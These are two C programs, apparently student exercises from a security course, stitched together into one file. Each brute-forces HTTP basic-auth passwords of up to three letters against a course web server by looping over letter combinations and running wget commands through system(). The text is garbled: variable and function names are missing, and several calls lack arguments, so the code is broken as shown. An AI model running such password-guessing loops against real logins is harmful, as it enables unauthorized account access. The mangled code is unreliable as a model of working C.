#include<stdio.h>
#include<strings.h>
#include<stdlib.h>
#include<ctype.h>

#define MINSIZE 26
#define MAXSIZE 52
#define MAX_SIZE 255


int CrackPasswd(char *passwd)
{
   int flag;
   char string1[MAX_SIZE],string2[MAX_SIZE],[MAX_SIZE];
      
   strcpy(string1,"wget http://sec-crack.cs.rmit.edu./SEC/2/");
   strcpy(string2," --http-user= --http-passwd='");
   strcpy(,"");
        
   strcat(, string1);
   strcat(, string2);
   strcat(, passwd);
   strcat(, "'");
   printf("Sending Request as %s\n",);
   flag = system();
   
   if (flag == 0)
   {
      printf("\nPassword is %s\n",passwd);
      return 1;
   }
    
   strcpy(,""); 
   return 0;
}  


int BruteForce(char *CharArray)
{
   int i, j, k;
   char passwd[MAX_SIZE];
   
   for (i=0;i<MAX_SIZE;i++)   
      passwd[i] = '\0';
      
   for(i=0;i<MAXSIZE;i++)
   {
      passwd[0] = CharArray[i];
      if(CrackPasswd(passwd) == 1)
         return 1;       
   }

   for(i=0;i<MAXSIZE;i++)
   {
      passwd[0] = CharArray[i];
      
      for(j=0;j<MAXSIZE;j++)
      {
         passwd[1] = CharArray[j];
         if(CrackPasswd(passwd) == 1)
            return 1;
      }
   }  
   
   for(i=0;i<MAXSIZE;i++)
   {
      passwd[0] = CharArray[i];
      
      for(j=0;j<MAXSIZE;j++)
      {
         passwd[1] = CharArray[j];
         
         for(k=0;k<MAXSIZE;k++)
         {
            passwd[2] = CharArray[k];
            if(CrackPasswd(passwd) == 1)
               return 1;       
         }
      }
   }
    return 0;
}


int  (int argc, char *argv[])
{
   char CharArray[MAXSIZE];
   char ch='a';
   int i,j;
   
   int , end;    
   
    = time();
     
   strcpy(CharArray,"");
   
   for (i=0;i<MINSIZE;i++)
   {
      CharArray[i]=ch;
      ch++;
   }
   
   ch='A';  
   for (i=MINSIZE;i<MAXSIZE;i++)
   {
      CharArray[i]=ch;
      ch++;
   }
    
   if (argc != 1)
   {
      fprintf(stdout,"Usage : ./BruteForce \n");
      return(EXIT_FAILURE);
   }
   
   BruteForce(CharArray);
  
   getpid();
   end = time(); 
   printf("Time Required = %lld msec\n",(end-)/());
   return (EXIT_SUCCESS);
  
}

#include <stdio.h>
#include <stdlib.h>
#include <sys/time.h>
#define MINCHAR 65
#define MAXCHAR 122



int  bruteforce_first(int passlen, int *attempts);
int  bruteforce_two(int passlen, int *attempts);
int  bruteforce_three(int passlen, int *attempts);


int main()
{
	int i, wdlen = 1;
	int runtime;
	int counter ;
	int  initTime = 0, exitTime = 0, runTime = 0;

	initTime = time();
	if (bruteforce_first(wdlen, &counter) == 2) {
		wdlen++;
		if (bruteforce_two(wdlen, &counter) == 3) {
			wdlen++;
			if (bruteforce_three(wdlen, &counter) == 0)
				printf("Success In Breaking The  Password");
			else
				printf("Failure !!!!!!");
		}
	} else {
		printf("Success In Breaking The  Password");
	}


	exitTime = time();
	runTime = (exitTime - initTime);

	printf("\nNumber of attempts  is... %d", counter);
	printf("\nTime taken is %lld milli seconds\n", (runTime)/());
	return 0;
}

int bruteforce_first(int passlen, int *attempts)
{
	int i;
	int j = MINCHAR;
	char  *str, *passwd;

	str = (char *) malloc(passlen * sizeof(char));

	for (i = 0; i < passlen; i++) {
		str[i] = MINCHAR;
	}
	str[passlen] = '\0';

	for (i = MINCHAR; i <= MAXCHAR; i++) {
		if (i == 91)
			i = i + 6;
		str[passlen - 1] = i;		
		puts(str);
		(*attempts)++;

		char [100];
		sprintf(, "wget --http-user= --http-passwd=%s	http://sec-crack.cs.rmit.edu./SEC/2/index.php", str);

		if (system() == 0) {
			printf("Password cracked successfully:");
			printf("Password is %s", str);
			return 0;
		}
	}
	return 2;
}

int bruteforce_two(int passlen, int *attempts)
{
	int i;
	int j = MINCHAR;
	char *str, *passwd;

	str = (char *) malloc(passlen * sizeof(char));

	for (i = 0; i < passlen; i++) {
		str[i] = MINCHAR;
	}
	str[passlen] = '\0';


	while (str[0] != MAXCHAR + 1)
		
		{
			for (i = MINCHAR; i <= MAXCHAR; i++) {
				if (i == 91)
					i = i + 6;
				str[passlen - 1] = i;
				(*attempts)++;
				puts(str);

				char [100];
				sprintf(, "wget --http-user= --http-passwd=%s	http://sec-crack.cs.rmit.edu./SEC/2/index.php", str);

				if (system() == 0) {
					printf("Password cracked successfully: ");
					printf("Password is %s", str);
					return 0;
				}
			}

			i = 0;			
			if (str[i] == 'Z') {
				str[i] = 'a';
			} else
				str[i]++;

		}
	return 3;
}


int bruteforce_three(int passlen, int *attempts)
{
	int i;
	int j = MINCHAR;
	char *str, *passwd;


	str = (char *) malloc(passlen * sizeof(char));

	for (i = 0; i < passlen; i++) {
		str[i] = MINCHAR;
	}
	str[passlen] = '\0';

	while (str[0] != MAXCHAR + 1)
		
		{
			for (i = MINCHAR; i <= MAXCHAR; i++) {
				if (i == 91)
					i = i + 6;
				str[passlen - 1] = i;
				(*attempts)++;
				puts(str);
				char [100];
				sprintf(, "wget --http-user= --http-passwd=%s	http://sec-crack.cs.rmit.edu./SEC/2/index.php", str);


				if (system() == 0) {
					printf("Password cracked successfully: ");
					printf("Password is %s", str);
					return 0;
				}
			}

			i = 1;
			while (i <= passlen - 1) {
				if (str[passlen - i - 1] == 'z') {
					str[passlen - i - 1] = MINCHAR;
					str[passlen - 1 - 2]++;
					break;
				} else {
					if (str[passlen - i - 1] == 'Z') {
						str[passlen - i - 1] = 'a';
						break;
					} else {
						str[passlen - i - 1]++;
						break;
					}
				}
				i++;
			}

		}
	return 0;
}
